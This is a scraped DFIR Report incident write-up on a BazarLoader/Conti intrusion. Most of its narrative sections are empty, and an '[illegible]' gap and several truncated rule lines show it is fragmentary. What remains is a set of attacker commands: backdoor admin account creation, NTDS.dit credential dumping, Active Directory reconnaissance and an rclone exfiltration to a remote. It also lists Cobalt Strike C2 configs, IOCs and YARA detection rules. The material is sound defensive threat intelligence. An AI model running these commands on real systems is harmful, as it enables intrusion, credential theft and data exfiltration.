

# THE DFIR REPORT

Real Intrusions by Real Attackers, The Truth Behind the Intrusion

REPORTS ANALYSTS SERVICES ▾

ACCESS DFIR LABS MERCHANDISE SUBSCRIBE

CONTACT US

THREAT INTELLIGENCE

DETECTION RULES

DFIR LABS

MENTORING & COACHING PROGRAM

CASE ARTIFACTS

adfind

bazar

cobaltstrike

## BazarLoader and the Conti Leaks

*October 4, 2021*

### Intro

### Case Summary



---

## Services

---

## Timeline





---

---

MITRE ATT&CK

Initial Access

---

## Execution



35.165.197.209|443

3.101.57.185|443

```
C:\Users\<user>\Appdata\Local\Temp
```

## Persistence

```
net user sqlbackup qc69t4b#z0ke3 /add  
net user localadmin qc69t4b#z0ke3 /add  
net localgroup administrators localadmin /add
```

Privilege Escalation

Defense Evasion

## Credential Access

Sysmon Event ID: 10

Description: Process Access

SourceImage: C:\Winows\System32\SearchIndexer.exe

TargetImage: C:\Windows\system32\lsass.exe

SourceImage: C:\Winows\System32\SearchIndexer.exe

TargetImage: C:\Windows\system32\lsass.exe

```
GrantedAccess: 0x21410
```

```
CallTrace: C:\Windows\SYSTEM32\ntdll.dll+9d2e4|C:\Windows\System32\KERNELBASE.dll+2bc
```

```
ntdsutil "ac in ntds" "ifm" "create full c:\windows\temp\crashpad\x" q q
```

```
ntdsAudit.exe ntds.dit -s SYSTEM -p pwddump.txt -u users.csv
```

## Discovery

```
net view /all
net view /all /domain
nltest /domain_trusts /all_trusts
net localgroup "administrator" (comment: command mistyped)
net group "domain admins" /dom
```

```
ipconfig /all
nltest /dclist
net group "Domain Admins" /dom
tasklist
av_query (comment: Not a valid command)
net localgroup Administrateurs (comment: French translation of the named group admin.
net localgroup Administrators
SYSTEMINFO
```

```
adfind.exe -f "(objectcategory=person)"
adfind.exe -f "objectcategory=computer"
adfind.exe -f "(objectcategory=organizationalunit)"
adfind.exe -sc trustdmp
adfind.exe -subnets -f (objectcategory=subnet)
```

```
adfind.exe -f "(objectcategory=group)"  
adfind.exe -gcb -sc trustdmp
```

```
net use  
ipconfig /all  
netstat -ano  
net group "domain admins" /domain  
net view "Domain Controller name"  
net view "Second Domain Controller name"  
ping "Domain Controller IP"  
ping "Domain Controller name"  
ping "Second Domain Controller name"  
ping "Domain Controller IPv6"  
echo %%username%%  
arp -a  
time  
date
```

```
ping -n 1 hostname >> C:\programdata\log.txt  
ping -n 1 hostname2 >> C:\programdata\log.txt  
ping -n 1 hostname3 >> C:\programdata\log.txt
```

---

```
"Command": "Get-NetCurrentUser"  
"Command": "Get-NetDomain"  
"Command": "Invoke-ShareFinder -CheckShareAccess -Verbose | Out-File -Encoding ascii"
```

```
Get-ADDomainController  
Get-ADDomainController -Filter * | ft  
Get-ADComputer -Filter * -Properties * | Get-Member  
Get-ADDomain
```

---



```
dir "\\hostname\c$\Program Files\* >> C:\programdata\AV.txt  
dir "\\hostname2\c$\Program Files\* >> C:\programdata\AV.txt  
dir "\\hostname3\c$\Program Files\* >> C:\programdata\AV.txt
```

## Lateral Movement

## Collection

---

## Command and Control

---

143.244.61.217:443

JA3: c91bde19008eefabce276152ccd51457

JA3s: 107030a763c7224285717ff1569a17f3

Certificate: [18:42:fd:a1:39:29:33:47:44:65:bc:a2:d6:73:a8:c5:c9:35:9a:f3 ]

Not Before: 2014/04/11 02:37:55 UTC

Not After: 2024/04/08 02:37:55 UTC

Issuer Org: philandro Software GmbH

Subject Common: anynet root ca

Subject Org: philandro Software GmbH

Public Algorithm: rsaEncryption

Certificate: [9e:08:d2:58:a9:02:cd:4f:e2:4a:26:b8:48:5c:43:0b:81:29:99:e3 ]

Not Before: 2018/11/18 02:14:23 UTC

Not After: 2028/11/15 02:14:23 UTC

Issuer Org: philandro Software GmbH

Subject Common: anynet relay

Subject Org: philandro Software GmbH

Public Algorithm: id-ecPublicKey Curveprime256v1

35.165.197.209:443

JA3: 72a589da586844d7f0818ce684948eea

JA3s: e35df3e00ca4ef31d42b34bebaa2f86e

Certificate: [df:f6:ef:75:f8:f5:c8:8c:1a:4b:49:fd:29:99:d8:58:d0:9c:17:b0 ]

Not Before: 2021/07/13 11:58:09 UTC

Not After: 2022/07/13 11:58:09 UTC

Issuer Org: NN Fern

Subject Common: forenzik.kz

Subject Org: NN Fern

Public Algorithm: rsaEncryption

3.101.57.185:443

JA3: 72a589da586844d7f0818ce684948eea

JA3s: e35df3e00ca4ef31d42b34bebaa2f86e

Certificate: [71:9c:ce:11:b3:f0:ea:6f:1e:0f:ff:0f:b4:34:ec:bb:6c:aa:35:40 ]

Not Before: 2021/07/13 11:58:21 UTC

Not After: 2022/07/13 11:58:21 UTC

Issuer Org: NN Fern Subject

Common: forenzik.kz

Subject Org: NN Fern

Public Algorithm: rsaEncryption

54.177.153.230:443

JA3: 72a589da586844d7f0818ce684948eea

JA3s: e35df3e00ca4ef31d42b34bebaa2f86e

Certificate: [a1:ab:fe:d6:e4:5a:23:14:dd:8b:67:54:1d:8e:85:b1:c6:10:4a:3f ]

Not Before: 2021/07/13 11:58:22 UTC

Not After: 2022/07/13 11:58:22 UTC

Issuer Org: NN Fern

Subject Common: forenzik.kz

Subject Org: NN Fern

Public Algorithm: rsaEncryption

JA3: a0e9f5d64349fb13191bc781f81f42e1

JA3s: ae4edc6faf64d08308082ad26be60767

Certificate: [f7:1b:37:3f:2c:0e:c4:3f:dd:3a:f5:dd:ad:39:54:b2:db:b4:c7:f3 ]

Not Before: 2021/06/02 00:00:00 UTC

Not After: 2022/06/02 23:59:59 UTC  
Issuer Org: Sectigo Limited  
Subject Common: sazoya.com [sazoya.com ,www.sazoya.com ]  
Public Algorithm: rsaEncryption

---

JA3: a0e9f5d64349fb13191bc781f81f42e1  
JA3s: ae4edc6faf64d08308082ad26be60767  
Certificate: [f7:1b:37:3f:2c:0e:c4:3f:dd:3a:f5:dd:ad:39:54:b2:db:b4:c7:f3 ]  
Not Before: 2021/06/02 00:00:00 UTC  
Not After: 2022/06/02 23:59:59 UTC  
Issuer Org: Sectigo Limited  
Subject Common: sazoya.com [sazoya.com ,www.sazoya.com ]  
Public Algorithm: rsaEncryption

---

JA3: 72a589da586844d7f0818ce684948eea  
JA3s: ae4edc6faf64d08308082ad26be60767  
Certificate: [f7:1b:37:3f:2c:0e:c4:3f:dd:3a:f5:dd:ad:39:54:b2:db:b4:c7:f3 ]  
Not Before: 2021/06/02 00:00:00 UTC  
Not After: 2022/06/02 23:59:59 UTC  
Issuer Org: Sectigo Limited  
Subject Common: sazoya.com [sazoya.com ,www.sazoya.com ]  
Public Algorithm: rsaEncryption

```
{  
  "x64": {
```

```
"md5": "9ea3a4b4bf64aeaefb60ada634f7fb43",
"sha1": "3e12312e43f4b84129023057862ee3934ca24c6d",
"time": 1627455897000.6,
"sha256": "43ecc44566a599a1f5d5b5063f27fd18b34e0dc67e053570e9ad944ad3f16024",
"config": {
  "Spawn To x86": "%windir%\syswow64\rundll32.exe",
  "HTTP Method Path 2": "/ro",
  "Jitter": 14,
  "C2 Server": "yawero.com,/skin.js,sazoya.com,/skin.js,192.198.86.130,/skin.js",
  "Method 1": "GET",
  "Port": 443,
  "Method 2": "POST",
  "Polling": 5000,
  "Spawn To x64": "%windir%\sysnative\rundll32.exe",
  "Watermark": 1580103814,
  "Beacon Type": "8 (HTTPS)",
  "C2 Host Header": ""
},
"uri_queried": "/IMXo"
},
"x86": {
  "md5": "d2bb4366b7018e0ed3e7f752fc312371",
  "sha1": "0dfc5ef1947a29227d994a44f33c1b0fe12598ea",
  "time": 1627455891592.5,
  "sha256": "01b164f74bde4eb7c7da8c6cd707f23ce1923da49a3deb36aea5cd6e3030c0d6",
  "config": {
    "Spawn To x86": "%windir%\syswow64\rundll32.exe",
    "HTTP Method Path 2": "/groupcp",
    "Jitter": 14,
    "C2 Server": "yawero.com,/skin.js,sazoya.com,/skin.js,192.198.86.130,/skin.js",
    "Method 1": "GET",
    "Port": 443,
    "Method 2": "POST",
    "Polling": 5000,
```

```
    "Spawn To x64": "%windir%\sysnative\rundll32.exe",  
    "Watermark": 1580103814,  
    "Beacon Type": "8 (HTTPS)",  
    "C2 Host Header": ""  
  },  
  "uri_queried": "/PJkW"  
}  
}
```

---

```
JA3: a0e9f5d64349fb13191bc781f81f42e1  
JA3s: ae4edc6faf64d08308082ad26be60767  
Certificate: [1f:1c:7a:7d:0c:9d:cd:dd:47:2f:a9:e5:ac:c8:ae:da:70:29:02:81 ]  
Not Before: 2021/07/04 00:00:00 UTC  
Not After: 2022/07/04 23:59:59 UTC  
Issuer Org: Sectigo Limited  
Subject Common: yuxicu.com [yuxicu.com ,www.yuxicu.com ]  
Public Algorithm: rsaEncryption
```

---

```
JA3: a0e9f5d64349fb13191bc781f81f42e1  
JA3s: ae4edc6faf64d08308082ad26be60767  
Certificate: [1f:1c:7a:7d:0c:9d:cd:dd:47:2f:a9:e5:ac:c8:ae:da:70:29:02:81 ]  
Not Before: 2021/07/04 00:00:00 UTC  
Not After: 2022/07/04 23:59:59 UTC  
Issuer Org: Sectigo Limited
```

Subject Common: yuxicu.com [yuxicu.com ,www.yuxicu.com ]  
Public Algorithm: rsaEncryption

```
{
  "x86": {
    "uri_queried": "/HjIa",
    "md5": "742844254840eff409535494ae3ec338",
    "config": {
      "Beacon Type": "8 (HTTPS)",
      "C2 Host Header": "",
      "C2 Server": "gojihu.com,/fam_cart.js,yuxicu.com,/fam_cart.js",
      "HTTP Method Path 2": "/case",
      "Port": 443,
      "Method 1": "GET",
      "Spawn To x64": "%windir%\sysnative\mstsc.exe",
      "Method 2": "POST",
      "Spawn To x86": "%windir%\syswow64\mstsc.exe",
      "Polling": 5000,
      "Jitter": 32,
      "Watermark": 1580103814
    },
    "sha256": "8c7e32178cf437f4fd3d7f706066831fce2cd9bc7e2050a3cefebab05952266d",
    "time": 1627787111212.2,
    "sha1": "46f33bb1c629cedb52fc5d7e46525ac5ccb13aaa"
  },
  "x64": {
    "uri_queried": "/40vd",
    "md5": "1e788b5d1ff62688cfe5d2ef7832712a",
    "config": {
      "Beacon Type": "8 (HTTPS)",
      "C2 Host Header": "",
      "C2 Server": "gojihu.com,/fam_cart.js,yuxicu.com,/fam_cart.js",
```



```
    "HTTP Method Path 2": "/case",  
    "Port": 443,  
    "Method 1": "GET",  
    "Spawn To x64": "%windir%\sysnative\mstsc.exe",  
    "Method 2": "POST",  
    "Spawn To x86": "%windir%\syswow64\mstsc.exe",  
    "Polling": 5000,  
    "Jitter": 32,  
    "Watermark": 1580103814  
  },  
  "sha256": "43ac1418825ccbe33ae34c64fd036f23ef066073e4fefa2a410b53922cfc815f",  
  "time": 1627787113671.1,  
  "sha1": "d4d88b60150088041fec4951335128031441bc5a"  
}  
}
```

## Exfiltration

```
rclone.exe copy--max-age 3y "\\<redacted>\C$\Shares" remote: <redacted>\<redacted> --|
```

- copy: Copy the source to the destination
- --max-age: Only transfer files younger than <time>
- \\<redacted>\C\$\Shares": From source
- remote: <redacted>\<redacted>: To destination folder
- Bwlimit 2M: Bandwidth limit
- -q: quiet
- --ignore-existing: Skip all files that exist on destination
- --auto-confirm: Do not request console confirmation
- --multi-thread-streams: Max number of streams to use for multi-thread downloads
- --transfers: Number of file transfers to run in parallel
- -P: Show progress

<https://rclone.org/flags/>

[https://rclone.org/commands/rclone\\_copy/](https://rclone.org/commands/rclone_copy/)

---

---

## Impact

---

---

## IOCs

### Network

45.153.240.234|443

yawero.com

23.106.160.77|443

sazoya.com

192.198.86.130|443

23.106.215.61|443

gojihu.com

23.82.19.173:443

yuxicu.com

35.165.197.209|443

3.101.57.185|443  
54.177.153.230|443

File

21.dll  
d6b773f8b88be82d4de015edbf0cc2fa  
7461eb3051102c76004cd58e55560044d3789d5c  
96a74d4c951d3de30dbdaadceee0956682a37fcbbc7005d2e3bbd270fbd17c98  
21.exe  
362812fdb2dc2c5a2b214f223f12096  
2c4c4926b3b931d4628425b309a3357c63634fc9  
972e38f7fa4c3c59634155debb6fb32eebda3c0e8e73f4cb264463708d378c39  
37B.dll  
d6b773f8b88be82d4de015edbf0cc2fa  
7461eb3051102c76004cd58e55560044d3789d5c  
96a74d4c951d3de30dbdaadceee0956682a37fcbbc7005d2e3bbd270fbd17c98  
adf.bat  
7645b80c8627b0ba13ebc20491c82792  
05c43272a1d244413d0ef8595518b9c7601d3968  
218e8dc823e27a3baf3dcf48831562d488c2fa2c205286ea9af8a718b246b4cb  
NtdsAudit.exe  
1fd930064b81e7c96eedb985ca2a0d97  
39f7e3f5435cdfacaa89aa5ef2d4e092bde4494e  
fb49dce92f9a028a1da3045f705a574f3c1997fe947e2c69699b17f07e5a552b  
ea3612919bf05b66e9a608bee742a422.dll  
ea3612919bf05b66e9a608bee742a422  
fd001fb71e9faa68c6e53162ed0554fd6f16a0e381aa280cea397b3d74bb62eb

Detections

Network

## ET POLICY HTTP POST to MEGA Userstorage

## Sigma

---

```
rule informational_AnyDesk_Remote_Software_Utility {  
  
    meta:  
        description = "files - AnyDesk.exe"
```

```
author = "TheDFIRReport"
date = "2021-07-25"
hash1 = "9eab01396985ac8f5e09b74b527279a972471f4b97b94e0a76d7563cf27f4d57"
strings:
    $x1 = "C:\\Buildbot\\ad-windows-32\\build\\release\\app-32\\win_loader\\AnyDesk
    $s2 = "release/win_6.3.x" fullword ascii
    $s3 = "16eb5134181c482824cd5814c0efd636" fullword ascii
    $s4 = "b1bfe2231dfa1fa4a46a50b4a6c67df34019e68a" fullword ascii
    $s5 = "Z72.irZ" fullword ascii
    $s6 = "ysN.JTf" fullword ascii
    $s7 = ",;@0:\\" fullword ascii
    $s8 = "ekX.cFm" fullword ascii
    $s9 = ":keftP" fullword ascii
    $s10 = ">FGirc" fullword ascii
    $s11 = ">-9 -D" fullword ascii
    $s12 = "% /m_v?" fullword ascii
    $s13 = "?\\+ X5" fullword ascii
    $s14 = "Cyurvf7" fullword ascii
    $s15 = "~%f_%Cfcs" fullword ascii
    $s16 = "wV^X(P+ " fullword ascii
    $s17 = "\\Ej0drBTC8E=oF" fullword ascii
    $s18 = "W000~AK_=" fullword ascii
    $s19 = "D( -m}w" fullword ascii
    $s20 = "avAoInJ1" fullword ascii
condition:
    uint16(0) == 0x5a4d and filesize < 11000KB and
    1 of ($x*) and 4 of them
}

rule cobalt_strike_dll21_5426 {
    meta:
        description = "files - 21.dll"
        author = "TheDFIRReport"
        date = "2021-07-25"
        hash1 = "96a74d4c951d3de30dbdaadceee0956682a37fcbbc7005d2e3bbd270fbd17c98"
    strings:
```

```
$s1 = "AWAVAUATVWUSH" fullword ascii
$s2 = "UAWAVVWSPH" fullword ascii
$s3 = "AWAVAUATVWUSPE" fullword ascii
$s4 = "UAWAVATVWSH" fullword ascii
$s5 = "AWAVVWUSH" fullword ascii
$s6 = "UAWAVAUATVWSH" fullword ascii
$s7 = "AVVWSH" fullword ascii
$s8 = "m1t6h/o*i-j2p2g7i0r.q6j3p,j2l2s7p/s9j-q0f9f,i7r2g1h*i8r5h7g/q9j4h*o7i4r9-
$s9 = "s-e6m/f-g*j.i8p1g6j*i,o1s9o5f8r-p1l1k4o9n9l-s7q8g+n,f4t0q,f6n9q5s5e6i-f*
$s10 = "o1s1s9i2s.f1g5l6g5o2k8h*e9j2o3k0j1f+n,k9h5l*e8p*s2k5r3j-f5o-f,g+e*s-e9h
$s11 = "k7s9g7m5k4s5o3h6k.s1p.h9k.s-o8e*f5n9r,l4f-s5k3p2f/n1r.i*f*n-p4s3e7m9p2t
$s12 = "k9g9o0t1s4k*k*h.s-p-k.h-m1k*f4h0j7f6n,i5g-n3h+l3n1j7j0e*n5r6r-i9i/e1q4m
$s13 = "s6k9n/j.s4s5g2p6s.k1t/j6s,s-g*p.n6f9m/g.n4n5j2q6n.f1p/g6n,n-j*q.m6e9o/h
$s14 = "r4k7g8t-k4o6m,o1s1k.k1s6o,h8k-s4j8q*m+f/i*q/f3m-r5j2n0f0i*q0m/e0j5q7n5f
$s15 = "k8s9n7o9k5s5o9m2k0s1m3m.k,s-n+o-f9n9t+t6f4n5o6t2f0n1s/r1f-n-o.t*e8m9i-s
$s16 = "o9g6g0l0s1e6h4p-g6s9s9p1m1k*s3l-t5s.f8m5r5f6n+i2j8f*h,p5j2r.h0h1q9i6e8r
$s17 = "t8n2i3e0i,l.i7i9e8r1j7o0n3i9j0m3m-l6e6s9r*l6s5h4t6n7o*k.r1f+r4l/q9g7i3o
$s18 = "[_ ^A^A_]" fullword ascii
$s19 = "k9s9f+j*k3s5o-j/k/s1h/p5k-s-o7j7f7n9t/g+f3n5q/r8f1n1t7g3f+n-p.g8e7m9s3q
$s20 = "g8s9j0t4o,t+n3t1g0k9k1t,o5s0n+t9n6j+o0q2i4j6r1i3f,g+j2h1f2r1n-e9m,i2i7f
condition:
    uint16(0) == 0x5a4d and filesize < 2000KB and
    8 of them
}

import "pe"

rule cobalt_strike_exe21 {
    meta:
        description = "files - 21.exe"
        author = "TheDFIRReport"
        date = "2021-07-25"
        hash1 = "972e38f7fa4c3c59634155debb6fb32eebda3c0e8e73f4cb264463708d378c39"
    strings:
```



[illegible]

condition:

```
uint16(0) == 0x5a4d and filesize < 800KB and (pe.imphash()=="17b461a082950fc633
8 of them)
}
```

```
rule informational_NtdsAudit_AD_Audit_Tool {
```

meta:

```
description = "files - NtdsAudit.exe"
```

```
author = "TheDFIRReport"
```

```
date = "2021-07-25"
```

```
hash1 = "fb49dce92f9a028a1da3045f705a574f3c1997fe947e2c69699b17f07e5a552b"
```

```
strings:
```

```
$x1 = "WARNING: Use of the --pwdump option will result in decryption of passwords"
```

```
$s2 = "costura.nlog.dll.compressed" fullword wide
```

```
$s3 = "costura.microsoft.extensions.commandlineutils.dll.compressed" fullword w
```

```
$s4 = "Password hashes have only been dumped for the \"{0}\" domain." fullword |
```

```
$s5 = "The NTDS file contains user accounts with passwords stored using reversi
$s6 = "costura.system.valuetuple.dll.compressed" fullword wide
$s7 = "TargetRNtdsAudit.NTCrypto.#DecryptDataUsingAes(System.Byte[],System.Byte
$s8 = "c:\\Code\\NtdsAudit\\src\\NtdsAudit\\obj\\Release\\NtdsAudit.pdb" fullwo
$s9 = "NtdsAudit.exe" fullword wide
$s10 = "costura.esent.interop.dll.compressed" fullword wide
$s11 = "costura.costura.dll.compressed" fullword wide
$s12 = "costura.registry.dll.compressed" fullword wide
$s13 = "costura.nfluent.dll.compressed" fullword wide
$s14 = "dumphashes" fullword ascii
$s15 = "The path to output hashes in pwdump format." fullword wide
$s16 = "Microsoft.Extensions.CommandLineUtils" fullword ascii
$s17 = "If you require password hashes for other domains, please obtain the NTD
$s18 = "microsoft.extensions.commandlineutils" fullword wide
$s19 = "-p | --pwdump <file>" fullword wide
$s20 = "get_ClearTextPassword" fullword ascii
condition:
    uint16(0) == 0x5a4d and filesize < 2000KB and
    1 of ($x*) and 4 of them
}

rule informational_AdFind_AD_Recon_and_Admin_Tool {
    meta:
        description = "files - AdFind.exe"
        author = "TheDFIRReport"
        date = "2021-07-25"
        hash1 = "b1102ed4bca6dae6f2f498ade2f73f76af527fa803f0e0b46e100d4cf5150682"
    strings:
        $s1 = "    -sc dumpugcinfo          Dump info for users/computers that have used
        $s2 = "    -sc computers_pwdnotreqd Dump computers set with password not require
        $s3 = "    -sc computers_inactive  Dump computers that are disabled or password
        $s4 = "    -sc computers_active    Dump computers that are enabled and password
        $s5 = "    -sc ridpool              Dump Decoded Rid Pool Info" fullword ascii
        $s6 = "        Get top 10 quota users in decoded format" fullword ascii
```

```
$s7 = " -po Print options. This switch will dump to the command line"
$s8 = "ERROR: Couldn't properly encode password - " fullword ascii
$s9 = " -sc users_accexpired Dump accounts that are expired (NOT password)"
$s10 = " -sc users_disabled Dump disabled users." fullword ascii
$s11 = " -sc users_pwdnotreqd Dump users set with password not required."
$s12 = " -sc users_noexpire Dump non-expiring users." fullword ascii
$s13 = " adfind -default -rb ou=MyUsers -objfilefolder c:\\temp\\ad_out" fullword
$s14 = " Dump all Exchange objects and their SMTP proxyaddresses" fullword
$s15 = "WLDAP32.DLL" fullword ascii
$s16 = "AdFind.exe" fullword ascii
$s17 = " duration attributes that will be decoded by the -tdc"
$s18 = " -int8time- xx Remove attribute(s) from list to be decoded as int8. S"
$s19 = "replTopologyStayOfExecution" fullword ascii
$s20 = "%s: [%s] Error 0x%0x (%d) - %s" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 4000KB and
8 of them
}
```

## MITRE

- 
- 
- 
- 
- 
- 
- 
- 
- 
- 
- 
- 
- 
-

- .....

**Share this:**


 Twitter

 LinkedIn

 Reddit

 Facebook



 WhatsApp



Register For Our Next CTF



Reports



## Threat Intelligence



## Detection Rules



## DFIR Labs



## Mentoring and Coaching

Proudly powered by [WordPress](#) | Copyright 2023 | The DFIR Report | All Rights Reserved